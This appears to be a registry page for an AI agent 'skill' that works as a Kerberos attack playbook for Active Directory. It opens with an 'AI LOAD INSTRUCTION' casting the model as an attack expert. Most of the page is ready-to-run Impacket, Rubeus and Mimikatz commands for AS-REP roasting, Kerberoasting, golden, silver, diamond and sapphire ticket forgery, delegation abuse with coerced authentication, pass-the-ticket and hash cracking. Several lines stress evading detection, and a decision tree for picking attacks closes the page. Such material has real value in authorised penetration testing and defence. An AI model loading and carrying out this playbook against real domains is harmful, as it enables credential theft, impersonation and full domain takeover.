OverviewHistoryStatsSecurity
npx skills add ...
Documentation
SKILL.md
npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks
AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
Before going deep, consider loading:
Also load KERBEROS_ATTACK_CHAINS.md when you need:
Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.
Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit) Persistence: Valid until krbtgt password is changed twice
Forge TGS using the service account's hash → access specific service only, no KDC interaction.
| Target Service | SPN Format | Use Case |
|---|---|---|
| File shares | cifs/host | Access SMB shares |
| WinRM | http/host | Remote PowerShell |
| LDAP | ldap/dc | DCSync-like queries |
| MSSQL | MSSQLSvc/host:1433 | Database access |
| Exchange | http/mail.domain.com | Mailbox access |
Modify a legitimately issued TGT → harder to detect than golden ticket.
Advantage: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.
Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.
Advantage: PAC is a genuine copy from KDC, making detection extremely difficult.
Hosts with unconstrained delegation store user TGTs in memory.
Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.
Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).
When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.
| Method | How | Risk |
|---|---|---|
| CredSSP | Sends actual credentials to B | Credential exposure |
| Unconstrained delegation on B | B stores A's TGT | Over-privileged |
| Constrained delegation | B allowed to delegate to C | Preferred — scoped |
| RBCD | C trusts B to delegate | Modern, flexible |
| Invoke-Command nested | -Credential param in nested session | Exposes password in script |
# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
# John
john asrep.txt --wordlist=rockyou.txt# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap
# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi
# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exeAD environment — targeting Kerberos
│
├── Have domain user creds?
│ ├── Kerberoast → crack service account hashes (§3)
│ ├── Enumerate users without preauth → AS-REP roast (§2)
│ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│ └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│ ├── Silver ticket for that service (§4)
│ └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│ ├── Golden ticket → any user, any service (§4)
│ ├── Diamond ticket → stealthier forging (§4)
│ └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│ ├── Monitor for incoming TGTs (Rubeus monitor)
│ ├── Coerce DC authentication (PrinterBug/PetitPotam)
│ └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│ └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│ └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
└── Pass-the-Ticket → use directly (§6)